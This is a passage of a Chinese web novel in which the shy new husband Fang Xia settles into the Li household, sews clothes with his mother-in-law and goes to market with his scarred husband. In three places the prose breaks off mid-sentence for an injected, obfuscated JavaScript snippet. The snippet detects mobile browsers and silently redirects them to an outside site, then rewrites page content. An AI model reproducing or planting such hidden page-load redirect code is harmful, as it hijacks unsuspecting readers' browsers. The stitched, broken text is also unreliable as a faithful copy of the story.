正看得出神,猛然听见推门的声音,方夏吓了一跳,回头看见却是李远山拎着一桶热水,他进来后对方夏道: “不早了,洗漱早些歇息吧。”说完又将房门关上离开了。 其实西边挨着的耳房里是有给新夫郎准备的新浴桶的,只是今日天晚,而且闹腾了一天也没什么精神烧水,故而李远山才拎着桶进屋来安置方夏洗漱。 听到李远山的话后,方夏后知后觉明白过来,李远山还是要他做他的新夫郎的。 这间屋子是成亲特意布置的新屋,不是做夫郎怎么会还是将他领进来这里呢?刚刚李远山还要他洗漱,那洗漱完了呢? 方夏悚然一惊,瞪大了眼睛,那洗漱完了是不是要洞房? 炕上很快响起了悉悉索索的声音,方夏咬了咬唇慢慢挪着下了地,解了大红嫁衣的扣子开始擦洗…… 4. 洞房 房门吱呀一声被推开,红烛摇曳,人影婆娑,方夏穿着红色的里衣坐在炕里面,低垂着头,露出一截白瘦的脖颈。 炕上早已铺好了行李,大红色的被面在这样寂静的夜晚显得格外显眼。 李远山见状,顿了顿脚步,低沉的声音响起:“你睡吧,我睡地上。” 方夏小心翼翼地抬头,却见李远山打开柜子取出一张稍显破旧的草席铺在了地上,接着走到炕边伸手一拉一卷将他方才铺好的被褥拽走了一套。 他看着李远山的动作心中忐忑不安,又不知道如何开口,只好呆呆地坐着。 方夏脑子笨,想不明白这样算怎么回事,但这是李家,总不好让人家睡地上,自己霸占着好地方。 “要不……我睡地上吧。”方夏鼓足勇气开口道。 “不用。” 见李远山并没看他,方夏只好慢慢挪腾到被窝里躺下了。 不一会儿,李远山收拾好后将屋里的灯吹灭了。 虽说秋老虎厉害,可到了晚上还是有些冷的,两人谁也没再说话,钻进被窝后一个在炕上一个在地下各自睡了。 一夜好眠。 ------------------------------------- 方夏原本以为自己换了地方会睡不着,躺下了乱七八糟想了一通,怕吵到李远山也不敢翻身,却不想一天折腾早已身心俱疲,不一会儿就睡着了,还一觉睡到了大天亮。 等他迷迷瞪瞪醒来时李远山早已不在了,地上收拾的干净利索,丝毫没有昨夜睡了一个人的痕迹。 院里传来隐隐约约的说话声,吓得方夏一个激灵从炕上坐起来,急急忙忙穿好衣服要往屋外跑,头一天就起晚了不晓得李远山会不会骂他打他,情急之下方夏甚至顾不得换衣服,裹着昨日穿的嫁衣就要推门出去。 不曾想一头撞在了开门进来的李远山铁扇面似的胸口上,惊得他一个踉跄向后退了好几步,要不是李远山伸手拽了一把,他非得摔到地上不可。 这一次方夏清清楚楚看到了李远山脸上的伤疤。 只见他左半边脸上皮肤皱皱巴巴一路延伸至耳后,伤疤交错着刻在脸上,有些地方凸起有些地方凹陷下去,就像经年的老树皮一样爬在皮肤上格外吓人。 方夏两眼一黑,扶着炕沿缓缓坐下后呼吸都明显了几分。 还是怕的,他知道李远山是个好人,要不然也不会带他回来,不会给他饭吃,还愿意晚上将炕让给他自己却睡在地上。 可是心里明白是一回事,亲眼看见却是另一回事了。 李远山微微叹口气,又将脸侧过去了,“你不必怕我,换了衣服先同我去给爹娘敬茶吧。” 堂屋里,李家夫妻俩早已收拾利索坐着了,虽说这门亲事经历了诸多波折,可终归结果还是好的,儿子娶了夫郎,只要人老实本分,日子慢慢就过好了。 等李远山和方夏从屋里出来,一家人都围着坐好了,本来还热热闹闹说着话,此时见他俩走过来,都住了嘴,只安静看着,让本来就有些紧张的方夏心里更是七上八下,不知该怎么办才好。 他从小就不善言辞,更不会应对这样的场面,只好低着头盯着李远山的脚后跟走,双手紧紧攥着衣服下摆不停揉来揉去。 周秀娘见状向端着茶水的二儿子使了个眼色,李云山连忙端了茶杯递过去。 李远山接过后伸手牵着方夏一同跪在毡子上,他举着茶杯道:“爹娘,请喝茶。”方夏低着头,也轻声跟着说了一句。 李家夫妻俩接过后呵呵笑着连声说好,周秀娘拍了拍方夏的肩膀说道:“意思意思行了,咱们家没那么多规矩,快起来快起来!” 李远山他爹李达也紧跟着将手里的红封递过去,方夏有些害怕,不知道要怎么办,这是给他的吗?但他不敢接,只好扭头怯怯地看着李远山。 “给你的,你就拿着”李远山接过红封塞到方夏手中,“爹娘给的,又不是旁的人。” “哎呀呀,大哥娶了夫郎就是不一样呢呀!”一道稚嫩的声音说道。 李青梅的话音刚落,旁边站着的弟弟们也跟着嘻嘻哈哈调侃起来,两个人年纪小性格活泼,比不得大哥沉稳,方夏被这些没什么恶意的笑闹声弄的窘迫地脸红了。 “高一点儿的是二弟云山,矮一些的是三弟晓山,”说着李远山不忘狠狠瞪一眼两个弟弟,“这是小妹青梅。” 兄妹三人不笑了,齐齐喊道:“方夏哥哥好!” 方夏眨眨眼,露出一个腼腆的笑来。 早饭是摆在堂屋里吃的,一张八仙桌,四张条凳,一家人围坐着吃起了起来。 今日的早饭特别丰盛,因着新夫郎进门头一天要隆重些,故而早饭也摆在堂屋桌子上吃了。 庄户人家清苦惯了,平常早饭是不上桌的,就在灶房啃个馒头喝些米汤或者夹块咸菜就差不多了,甚至有些人家家里穷的,早饭都没有,一天就吃两顿饭。 方夏以前在家时,从来没怎么上桌吃饭,在家时娘和大哥常常让他在灶房吃,哪怕过年过节上桌也没吃过这么丰盛的早饭,光肉菜就好几样了。 他第一次坐着吃早饭,而且还是面对着昨日刚刚见面的李家人,屁股都不敢坐满凳子,只坐了半边,低着头小口小口啃馒头。 李远山见状给他夹了好几筷子肉菜到碗里,对面的周秀娘看见了,心里那个高兴,儿子虽然话不多,但懂得心疼人,眼看着方夏虽然木楞了些,但也是个老实的,只要勤快些,不愁日子过不好。 饭后趁着众人都去忙了,周秀娘悄悄拉着李远山问:“夏哥儿的衣裳呢?” 原来是因为方夏今日换了一身粗布青衣,甚至有些地方还打着补丁,让周秀娘看不过眼了,才悄悄拉着儿子询问。 按理说哥儿出嫁娘家会给些嫁妆,连着哥儿曾经穿用过的一些好一点儿的衣裳也会一并添在嫁妆里。 况且当初定亲送聘礼时他们李家也置办过布料给方夏做新衣,只是看方夏的穿着,却是什么都没有的样子。 李远山轻轻皱着眉头,缓缓开口道:“早上他开嫁妆箱子,也就这些衣裳了。” 听了儿子的话,虽然是意料之中的事,但周秀娘还是忍不住呸了一声:“黑了心肠的赵桂花,连儿子的嫁妆都贪,早晚都要遭报应!” “终究以后是咱们李家的人了,再做几身新衣服也无妨,省的出了门叫街坊邻居看见还以为咱们苛待新夫郎呢。”说着便去主屋里翻出钱包,取了两块碎银子要递给李远山。 “娘,不用,我还有些钱,够花用。” 见李远山不接,周秀娘叹了口气说道:“你这孩子,娘知道你的心思,这些你拿着给方夏做几身衣裳,以后啊,娘就不给你了。除去交公的吃穿嚼用,你挣了钱就自己留着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292660|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也无需都给我们,娘只盼着你俩好好过日子就成。” 说起来李远山未成家时,挣的钱除了零碎花销以外,大部分都让他爹娘攒着,这几年为了亲事没少花钱,李远山就不大愿意再从爹娘手里拿钱。 如今成亲了,就又不同了。 “知道了,娘。”说完接过周秀娘给的碎银子揣进怀里。 “这就对了,你看看方夏喜欢什么样的,赶集时候去转转,买成衣也好,或是买布匹回来做也好,无拘什么,你们自己商量着买。” “嗯。”李远山应道,“那我去还桌椅了。” 周秀娘冲他招招手:“去吧。” 李远山成亲这段时日,家里整整忙了小半个月,大大小小的琐事繁多,如今终于忙完了,也该顾着家里的营生了。 吃过了饭李达就溜达着去地里了,虽说他们家做屠夫杀猪能挣钱,但庄户人家还是靠种地土里刨食,有了田地粮食心里才安稳。 近些年李远山越发稳重,能撑起他家杀猪的摊子后,他爹就将杀猪的营生大半交给了他,而自己则在家里种地,专心看护家里的十几亩良田。他们家人多,吃的粮也多,可不得尽心尽力侍候着家里的地? 灶房里,李青梅正收拾碗筷,她人小吃饭快,吃完便进了灶房,别看她小,但家里一些简单的活计早早就上手干了,有时候她娘忙不过来,她就自己踩着烧火的小板凳趴在灶台上帮着洗碗。 她还穿着崭新的碎花褂,头上扎着两个小辫子,脸也是红扑扑的,看着要比村里其他土里打滚的孩子干净。只见李青梅小心翼翼踮着脚洗碗,她大哥成亲家里人人都做了新衣裳,可不能弄脏了。 方夏吃完饭后将红封回屋放好,他不敢自己拆,只等着李远山回来再给他,从屋里出来后便紧跟着进了灶房,他看见李青梅正挽起袖子洗碗,忙道:“我来洗吧。” “不用了,夏哥哥你是新夫郎,怎么好让你刚进门就干活呀!”昨日闹事时李青梅没跟着去赵家庄,因此并不知晓发生了什么事,既然是大哥的新夫郎,那她可不能头一天就让人家洗碗。 方夏见李青梅并没有再说什么,只好作罢,抬眼看见水缸里的水不多了,便提起水桶要去打水。 他做惯了活,一时闲着手脚都不知道往哪里搁。 乡下挑水多是汉子们去,拿一根扁担左右两边各挑一桶水,几趟就能将水缸灌满,只是方夏是个哥儿,力气没那么大,就没有拿扁担,只是拎着水桶去了,这样虽慢些,但多跑几趟就好了。 刚进厨房的周秀娘问道:“你方夏哥呢?”她去给街坊邻居们送些办酒席剩下的肉菜,回来准备给新夫郎量量衣服尺寸,不想转悠一圈也没见到人。 “夏哥哥去挑水了。”李青梅边收拾灶台边答道。 周秀娘满意地点点头,虽说刚成亲就让新夫郎紧着干活有些苛刻,不过方夏勤快些也是好事。 李家在村东头这一片,离着玉带河有一段距离,去河边挑水路远,为了吃水方便多年前村里人集资请人打了一口水井,出门没多远就是。 方夏正哼哧哼哧提着水桶走着,阳光照在他的脸上,显得脸色有些苍白,瘦弱的胳膊在衣袖下掩着,更衬得整个人瘦小可怜。 李远山和两个弟弟还了桌椅回来,远远就看见方夏拎着水桶一荡一荡慢慢走着,仿佛随时都会连人带桶摔倒似的,他紧走几步就追了上去。 5. 新衣 手里的水桶被一只大手拎走时,方夏是懵的。 他在家时干惯了活,人虽然瘦弱些,但他不怕苦不怕累,只要不停地干活,总会慢慢干完的。 可是现在又是什么意思呢?他看着李远山稳稳提着水桶的高大背影,心里有些惶然地想,是嫌弃自己干不了活?还是做的不够好呢? 方夏想不明白,脑子里好像缠着许多乱七八糟的线,紧张地都能听到自己的心跳声。 见李远山走远了,他只能小跑着追上去,跟着人进了家门。 院子里,周秀娘正在收拾扫洒,看见方夏进门便笑眯眯朝他招招手道:“夏哥儿,你同我来屋里,给你量量尺寸。” 方夏楞了下,迟疑地看着灶房的方向,听见李远山正提着桶往瓮里倒水的声音,不过他不敢吱声,还是乖乖走过去,他声音很低,小小声地喊道:“娘。” “哎!”周秀娘高声应着,抬手便在方夏身上拿着布尺量,边比划边道:“家里汉子这么多,让他们去挑水,这些粗活不必你操心。” 方夏点点头,一颗心总算放下了,不过身体仍旧僵硬地站着,有些不知所措。 不一会儿功夫周秀娘便给方夏量好了尺寸,正好李远山挑水从外面走进来,周秀娘便叫住他道:“远山,明日赶集时带着方夏一同去。” “嗯,行。”李远山答应一声挑着扁担去倒水了。 看着他的背影,方夏有些沮丧地想,力气可真大啊,挑着两桶水都不摇晃一下,一趟能顶自己跑四趟,怪不得不让自己去提水了呢,就这一会儿的功夫,已经来回两趟了。 方夏默默想,自己还要更勤快些才行,这样才不会被嫌弃。 虽然没到农忙时节,但家里人人都没闲着,方夏也不好一直傻站着,可是自己初来李家,也不知道自己能干什么,只能低着头左右瞅着想找点活儿干。 周秀娘见他是个勤快人,便问道:“夏哥儿,会做针线活儿吗?” “会一些的。”方夏听着周秀娘喊他,忙点着头答道。 “那好,原打算就是给你做身衣裳的,咱娘俩一起吧。” 方夏有些惊讶地瞪大了眼睛,他方才听着要给他量尺寸,还要给他做衣裳,心里还不敢信。 此时再一次听周秀娘亲口说完,心里有些雀跃难忍,他眨巴眨巴眼睛,今日的一切好似做梦一样。 他原先在家时,赵桂花从来没给他做过新衣服,都是他大哥穿过再改小了给他,缝缝补补好些年,衣服上常常是补丁摞补丁。 唯一一次做新衣服还是他要成亲才做的嫁衣,只可惜嫁衣也只能穿一回。 周秀娘见他呆呆的,在原地愣了许久,心下不由得叹了一口气,他们李家虽说没什么欺男霸女的糟心事,可方夏初来乍到,还需得慢慢相处才能缓和过来。 忍不住微微叹口气,周秀娘当下也没多解释什么,只招呼着人到屋里坐下,日子长着呢。 方夏小时候同阿奶一起生活时,被他阿奶狠狠逼着学了一阵子针线活儿,阿奶虽疼爱他,但也知道他终究是要嫁人的,庄户人家不会做针线可说不过去,家里缝缝补补的活计不少,自己会总比求人强。 周秀娘看方夏熟练地穿针引线,针脚细细密密缝着衣裳,无论是裁剪布头还是扯线缝料都做的有模有样。 看了一会儿,周秀娘心下满意,脸上始终挂着笑,儿夫郎家务活熟练些,以后家里这些活计能上手就好,这样夫夫俩过日子他们做长辈的也放心。 日头渐渐上移,两人边缝衣裳边有一搭没一搭地说着话,不过大多数时候是周秀娘问,方夏轻轻应答两声。 儿夫郎话不多,胆子又小,周秀娘也不恼,只要人品好,慢慢锻炼着就放开了,也不急于一时。 两人慢慢做着衣服,不知不觉也到了晌午。 周秀娘撑着腿站起来道:“不早了,娘去做饭。”见方夏也着急要起身,便拍了拍他的胳膊说,“接着缝衣服吧,用不着你。” 再次同李家几口人坐在一张桌子上吃饭,方夏还是有些不真实感。 不仅能上桌吃饭,还能顿顿吃饱,饭桌上偶尔互相说笑逗乐,这样的场景是他从前想都不敢想的。 午饭依旧是昨日席面剩下的菜多些,天气还热着,不紧着吃坏了就可惜了。 他们家日子过得比寻常人家好些,却也不会惯着孩子们浪费吃食的坏毛病,一家人也不挑,荤腥油水足,汉子们都是狼吞虎咽地吃着。 唯一的一个鸡腿被李远山夹给了方夏,他抬眼悄悄看了看桌上的其他人,又将鸡腿让给了李青梅。 周秀娘见他如此便脸带笑意说道:“四丫头昨日可没少吃了,这个专门给你的,你吃就是了。不用管他们,一个个的缺不着他们的。” 方夏一时怔怔地,不敢说话也不敢吃饭了,生怕做错了一点惹得大家不高兴。 “吃吧。”坐在旁边的李远山说着又给方夏碗里夹了许多菜,说完不等他回答自己又闷头接着吃饭。 ------------------------------------- 两个人做衣裳也快,一下午的功夫,就做好了一套外衣和一套里衣。 庄户人家也没什么讲究,不会费功夫去弄些别致的花样子,只要平日里能穿就行,再说了村里脏活累活都要干,太精致了反而不利索。 吃过晚饭,方夏早早抱着新做好的衣裳回了屋。 他将新衣整整齐齐叠好放进柜子里,又忍不住摸了摸衣角,满心的喜悦都要从胸腔里溢出来了,这是长大后第一次有人做新衣给他,要留着出门时候再穿。 夜色渐渐浓了,方夏洗漱完拿起小扫帚扫了扫炕,便准备铺床歇息了。 只是昨日李远山歇在地上,今日总不能再让人家睡地板了,他忐忑不安地想,新婚之夜让夫君睡地上,这传出去可怎么好啊! 不一会李远山便进屋了,他看着炕上铺好的被褥楞了下没做声,只是问道:“新衣服试了?可还合身?” 方夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292661|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头,有些紧张地将藏在炕席下的红封翻出来递了过去。拿在手里的红封沉甸甸的有些压手,他微微抬起头,眼神怯怯地看了眼李远山:“你……你忙完了?” 李远山看着方夏手里的红封没说话,这是一双不怎么好看的手,手指细细长长,手掌也不宽厚,捏着红封的指尖还有许多细碎的裂纹,一看就是经常干活的手。 往常卖肉收钱,村中妇人夫郎的手李远山偶有见过,大多数也都是如此,只要干活哪有不糙手的。只是看着方夏这双手,他却莫名有些说不上来的心疼。 见李远山不说话也不接,方夏又将手里的红封向前递了递,他没掌过家,手里也从来没有过钱,赵桂花买块豆腐都不会让他去,更不会给他零花钱。 村中其他一些姑娘双儿长大了,多少手里会攒些铜板,平时出门买些针线绣花做手帕荷包什么的,也不用常常同家里要。 可方夏不同,没人给他钱,习惯使然,他便没有自己手里要有些钱的念头。 没成亲时,偶尔挣些钱都是给了赵桂花,成亲后,那便是要给夫君的。 李远山看一眼瘦瘦小小的夫郎,心下突然有些不忍,又有些心疼。 也不知道原先在家中赵桂花和那个脑满肠肥的哥哥是怎么欺负他的,一个添喜气的红封也不敢自己收着,本来也没几个铜板,就是图个吉利。 可如今夫郎却要将这个红封给他,让李远山的心里一阵憋闷。 “给你的,你就拿着吧。”李远山低沉平稳的声音在方夏耳边响起,他琢磨了下又接着说道:“我能挣钱,虽比不上大富大贵人家,但吃喝穿用上必不会短缺了你的,这些你留着花,没有了再同我要就是。” 方夏整个人都是懵的,话也不会说了,只呆呆地跪坐在炕上。 李远山给他零花钱,今日还得了新衣裳,这样的日子是以前想都不敢想的。 他没什么大志向,活着无非就是求个吃饱穿暖,来李家的这一天里,让他原本麻木的心又生出了些希望。 等躺在温暖舒适的被窝里时,方夏还忍不住想着该怎么攒钱怎么花用,这些铜板要买些针线回来,他得给自己缝一个钱袋子,还要买一些漂亮的绣线,干完家里一天的活闲下来了可以绣花纳鞋底子。 他手艺不差的,以前和阿奶学剪纸时,花样子记得多,拿出来绣花也是一样的。 这么想着想着方夏不知不觉进入了梦乡,甚至都没注意李远山今日仍旧自己扯了被褥睡在了地上。 听着炕上方夏清浅的呼吸声,李远山却有些睡不着,他们家向来热闹和顺,从来没有苛待儿女的事情,这一日方夏的谨小慎微李远山看在眼里,心里越发不舒服。 别的不说,既然嫁给他做他的夫郎,那李远山必然不会苛待方夏,定是要将人好好养着的,下定决心后,他也枕着胳膊渐渐睡着了。 外面的蝉鸣蛙叫声渐渐远了,几声狗吠断断续续响起来,吵着月亮一点点移了上来,照着寂静的村子,也照着沉睡的人们。 6. 赶集 天刚蒙蒙亮,方夏便醒了,正待收拾穿衣服,突然想起来李远山昨日好像仍睡在地上,他有些惊慌地扭头看去,正好李远山也在穿衣服,古铜色的肌肉线条流畅,在衣摆下一闪而过,方夏忙不迭红着脸低下了头。 他不是故意偷看的,他哪知道李远山睡觉时居然是打赤膊的! “洗漱吧。”李远山低沉的声音唤回了方夏的思绪,他赶紧叠好被褥下了地。 洗漱后,方夏先去灶房,这两日在李家吃好睡好,没有了曾经的苦累和打骂,让他心里生出了急切,要勤快点,多帮忙干活才好。 周秀娘早早地已经将灶火点燃准备烧饭了,正往锅里贴杂面饼子,而李青梅则坐灶台旁的小板凳上添柴火。 方夏一进厨房门看见她们便停住了,脸上露出忐忑惶恐的神情,明日该起的更早些才行。 见他进来,周秀娘看出他的窘迫便道:“这里不用你,早饭简单,你同青梅去后院把鸡蛋鸭蛋捡一捡。” 听到周秀娘发话,李青梅连忙拍拍衣服站起来,乡下生火做饭用的都是柴火,时不时就会有烟灰飞溅出来,不拍一拍的话没一会儿衣服就脏了。 她随手拿起放在灶台上的一个小篮子,招呼着方夏出去了。 方夏跟着李青梅一路从正房西侧的耳房穿过去,便是李家的后院了。 李家屋子大,东西两侧都有耳房,但并不是都和后院打通的。为了储存粮食,东侧耳房是封死的,只留了前院一道门,因此想去后院,只有走西侧的耳房。 方夏还没来过后院,耳房因为狭小光线不足,且西侧这边耳房放着各种农具和杂物,甚至在靠门边上还放着一个颇有些格格不入的大浴桶,故而他跟着李青梅的脚步走得很慢。 还没到后院便听得一阵嘿嘿哈哈的打斗声,走近一看竟然是李云山和李晓山两兄弟拿着蒲棒在打闹。 他俩人原本是来烧蒲棒驱蚊散味的,李家后院用篱笆围了几个小园子,分别养了不少鸡鸭鹅,靠后墙和茅房并排着盖了几个猪圈,很是热闹。 家里养的牲畜多些,一到夏天免不了引来不少飞虫,不仅叮咬牲畜,人住的屋子若是不严实也是会飞进去不少,因此勤快些的人家往往都会去河边或者水塘边寻些蒲棒或是臭蒿草来晒干熏蝇虫。 “你们再打,我就去喊爹爹了!”李青梅脆生生的声音在后院响起。 兄弟俩打得正酣,头也不回齐齐说道:“你去吧!快去吧!” “哼!那我去找大哥!”李青梅叉着腰叫。 “找我做什么?”一声略微低沉的声音从方夏身后传来,李远山拎着一个大桶从门洞走出来,适才他看的惊奇,从不知原来兄弟姐妹间相处竟会这样和乐畅快,便没注意到身后的动静。 正打闹着的兄弟俩看见李远山过来,瞬间缩着脖子从墙角溜了,临走还不忘扯一下方夏的袖子,说:“夏哥哥,可别让大哥捶我们啊!” 李远山回头就见方夏正睁着一双杏仁眼仰头看着自己,便微微侧过身子,将右边脸对着人,开口道:“那俩混小子时常打闹,你别搭理他们。” 方夏点了点头,这边李青梅已经拉着他要去鸡窝里找鸡蛋,他便快走几步跟了上去。 家里人多,李家养的鸡鸭也多,哪怕天气热每日少说也能收十来个鸡蛋和鸭蛋,除却这些,鸭子和鹅大多数都是公的,每到过年过节,就能杀来吃肉。 李青梅怕方夏不熟,这些鸡鸭认人,不经常喂它们贸然进去容易被啄,就只让他拎着篮子站在外面。 方夏在鸡窝篱笆门边站着,抬眼看见李远山单手拎着一大桶猪食倒进猪圈里,他不自觉地捏了捏自己的胳膊,细细软软的估摸着还没人家小臂结实吧。 正想着,手里忽然被塞进来一个温热的鸡蛋。 “夏哥哥,看你运气多好!你一来,我今日就摸到这么大一个鸡蛋,定是个双黄蛋!”李青梅高兴地喊。 方夏握着手里的鸡蛋,心里暖洋洋的,兴许沾染了李青梅的兴奋劲儿,不自觉嘴角带出了浅浅的一点儿笑意。 喂完猪的李远山走过来打算收拾收拾鸡窝鸭窝,却不想正好看见方夏抿着嘴角在笑。 方夏本就生得白净,俗话说“一白遮三丑”,在乡下的双儿也是要跟着劳作的,这风吹日晒的免不了都是面皮粗糙黝黑,要是谁再白一些那就是难得的好样貌了,更何况他本就不难看,若不是受到赵桂花的苛待身子弱了些,定然是十里八村数得上的俊俏双儿。 想着想着,李远山又往前走了几步,堪堪停在方夏身后。 正往篮子里放鸡蛋的方夏被他这么一直盯着看,登时收了嘴角那一点儿若有若无的笑意,连忙低着头仔细将鸡蛋挨个放好,又翻来覆去数了好几遍。见李远山一直站着没动,一时有些怔愣,不知该怎么办才好。 还是李远山先反应过来,咳嗽一声扬声道:“收好了就去吃饭吧,一会儿我们去镇上赶集。” 按习俗,新媳妇或是新夫郎是要回门的。一般离得娘家近些就是新婚第二天回门,而远路的则是隔一天,也就是新婚第三天回门。 回门这天,新人要准备上好的点心、茶叶、酒品等礼物带回娘家,另外此地还讲究要准备带肋骨的猪肉,俗称“离娘肉”,寓意“嫁女不离亲”。 而今日正是回门的日子,可是方夏已同方家断亲,便没有回门这一说了。既然不用回门,那便去镇上赶集。 ------------------------------------- 吃过简单的早饭,李远山便带着方夏朝着镇上走去。 因着要出门,方夏换上了新做的衣裳,顺便在衣兜里装了二十枚铜板,好方便买些针头线脑的用。只是不知要花多少钱,太多他又不敢拿,害怕路上不慎把钱弄丢了。 这些铜板还是昨日李达夫妇给的红封里包的钱,村子里娶新妇或是新夫郎,给红封讲究个吉利,往往都是放一百零一枚,意思是对新人很满意,百里挑一。 当然,对于一些穷苦人家,红封里放不了这么多,放个六枚或是八枚都可以,无非就是讨个好彩头。 李远山背着竹筐走在前面,他身高腿长,走起路来虎虎生风,不一会儿便和后边的方夏差了一大截。 平日里独自走惯了,从不曾和妇人或双儿同行过,再加上方夏一路上也不出声,李远山走出很远才发现人没跟上,就站在路上等着。 玉河村离永安镇近,按照李远山的脚程半个时辰就到了,今日也不是大集无需急着赶路,是他疏忽了,如今他已娶了夫郎,再不是孤身一人,如此他便打算陪着自己夫郎走慢些,正想得入神却不料被方夏一脑袋撞到胸口,李远山后退一步撑住了人。 原来方夏见他走得快,怕自己跟不上就闷头使劲往前赶,不曾想又撞到了李远山身上。 等方夏揉着脑门抬起头时,李远山已经转过脸去,这一次方夏克制着自己没躲,却也觉察出些别的东西来。 自新婚那日自己被吓晕过去后,这两日李远山就有意无意避着他,尽量不让他看见他左半边脸的伤疤。 方夏眨巴着圆圆的眼睛想解释,他现在不是那么害怕他了,他还想说我会慢慢适应的。可奈何自己笨嘴拙舌,张口说了好几次:“我、我……”也没说出个子丑寅卯来。 李远山看着站在他跟前他一动不动,紧张得说不出话的人,微不可察地叹了口气。 他很想抬手抚一抚方夏的头发,想同他说你别怕我,可他们统共也没说过几句话,自己的动作万一太唐突把人吓着了可怎么好,李远山忍了又忍,空着的手拽着衣角狠狠碾了下,才道:“今日不急着赶路,我们走慢些就好。” 方夏抿着唇点了点头。 一路无话,到永安镇时赶集的人已经很多了,热意也渐渐蔓延上来了。 集市上很是热闹,到处都是摆摊卖东西的,吃的喝的用的玩的,可谓是应有尽有,街上人来人往,各种叫卖声此起彼伏,方夏不自觉挨着李远山近了些。 他还是很小时候由阿奶带着来镇上赶过大集,那时他人小,只记得处处都是新鲜的,在记忆里冒着热腾腾的烟火气。 后来,他阿奶没了,赵桂花从没带他来过镇上,平日里除了下地里干活,连村子都不曾出过,再说赵家庄离镇上远,他一个未嫁人的双儿也不敢孤身一人来赶集。 李远山略微偏头就看见方夏正小幅度转着脑袋四处张望,一副想看又不敢乱看的样子,时不时还要紧走几步追着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292662|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,怕跟丢了似的。 见他如此,李远山伸出胳膊,虚虚护着方夏,既没让他发现又隔开了路上稍显拥挤的人群。 镇上人见多识广,并不像村中或好奇或惧怕他的长相,再者说街上来赶集的都是有正经事要做,谁也没功夫专程停下来看他,如此一路走着还算顺畅。 不一会儿功夫,俩人就走到了镇上的布庄。 说是布庄,其实与城里那些只做布匹生意的不同,这里不仅售卖各种布料,还兼着定制和售卖成衣。手头宽裕些的可以来铺子里直接买成衣或是定制新出的款式,价钱也相对会高些,不过大多数庄户人家更愿意自己买了布料回家自己做,省钱又划算。 铺子里的掌柜见有人进来,站在柜台后没精打采地招呼着:“客官里面看看,要成衣还是布料?成衣有近日新出的款式,城里流行着呢。” “都看看。”李远山领着方夏迈进布庄。 掌柜的打眼一看,竟然是前段时间来买走不少好布料的高大汉子。 当时这汉子说要成亲,还买了绸缎呢!虽说客人长相有些吓人,可做买卖才不管美丑,能挣钱才是正理。这么一位大主顾进来,掌柜的急忙从柜台后小跑着迎出来。 “客官今日要买些什么?店里什么都有!”看见李远山身后跟着的人,热情地开口,“这便是新夫郎吧?哎吆吆,长得真俊俏!” 方夏有些怕生,不敢搭话,只悄悄往李远山身后挪了挪。 “成衣怎么卖?”李远山接过话将方夏往自己身后一揽,“夫郎性子沉静话少,掌柜的莫怪。” “哪里哪里,”掌柜的摆摆手,很自然地转了话头,“客官看成衣这边走,这料子不同款式不同,价格自然也不一样,这好一些的五百文,次一些的三百文,客官看看选哪样?” 想着方夏就一身新做的衣裳,还是昨日紧赶慢赶缝出来的,李远山便想着要给他再买两身成衣,就能替换着穿了。 “那件藏青色的和那件靛蓝色的,拿下来看看。” “好嘞!客官稍等,”掌柜的一看李远山指着的衣服就知道是给夫郎买的,边取衣服边朝着后院喊,“孩儿他娘,有客人!” 不一会儿帘子后转出来一个微胖的妇人,铺子里若是来了妇人或双儿,需要试衣改衣的,汉子们就不方便了,都是老板娘来招呼。 这边老板娘将衣服在方夏身上比来比去,还让他到里间去试,那边李远山又跟着掌柜的看起了布料。 从让他试衣服开始,方夏整个人都是懵的,昨日已然做了新衣裳,今日李远山还要再给他买吗?买这么多衣裳做什么呢? 等他回神时,老板娘已拿着针线帮他改袖口了。 那边李远山捧着一匹棉布一匹麻布走过来,边走边说:“离冬天还有些日子,再买些布料,等过阵子地里秋收了,买点新下来的棉花,闲下来冬衣自己做,可好?” 方夏已经答不出话了,现下他脑子转过来了,李远山不仅给他买了替换穿的衣服,还要买布料做冬衣,这样的日子是从前想都不敢想的,不知道该说什么,方夏只重重点了点头。 “还是小夫郎命好啊!你家汉子待你可真好。”老板娘哈哈笑着夸道,“老话说‘嫁汉嫁汉,穿衣吃饭!’咱们妇人哥儿嫁汉子不就图这些?我看呀,这往后的日子定然错不了!” 等方夏将改好的新衣裳收好,李远山已同掌柜的讲好了价钱,两身成衣都是好棉布,一身衣裳四百五十文,一匹麻布三百文,一匹棉布五百文,一共一千七百文整。 掌柜的也痛快,说道:“你是老主顾了,我也不作假,给你抹去一百文,一共是一两零六钱银子,如何?” “行。”李远山心里有谱,这布庄的掌柜价格也算公道,也该让人家赚一些。 付完银子,将新买的布料放进背着的背篓里,李远山招呼着方夏出门,跟在他身后的方夏却一直盯着布庄柜台瞧,正待要问,布庄的老板娘响亮的声音从铺子里传来: “小夫郎可是相中了里间的小衣?要试一试吗?” 